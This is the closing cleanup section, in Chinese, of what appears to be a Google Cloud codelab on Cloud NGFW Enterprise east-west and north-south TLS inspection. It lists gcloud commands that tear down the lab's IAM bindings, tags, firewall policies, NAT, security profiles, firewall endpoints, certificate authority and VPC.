export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除标记键和值：

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除云防火墙网络政策和关联：

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

删除 Cloud Router 和 Cloud NAT：

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

删除预留的 IP 地址：

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、关联和 TLS 清理

按以下顺序删除安全配置文件组和威胁配置文件：

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

删除 Cloud 防火墙端点关联：

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

删除 Cloud 防火墙端点，这可能需要大约 20 分钟：

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

（可选）运行以下命令，确认 Cloud NGFW 端点已删除：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端点的状态应显示：

STATE: DELETING

完成后，该端点将不再显示。

按以下顺序删除 TLS 政策和信任配置：

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用并删除根 CA 和 CA 池：

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

子网和 VPC 清理

最后，删除子网和 VPC 网络：

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 恭喜！

恭喜，您已成功完成“Cloud NGFW Enterprise 东向和北向 TLS 检查”Codelab。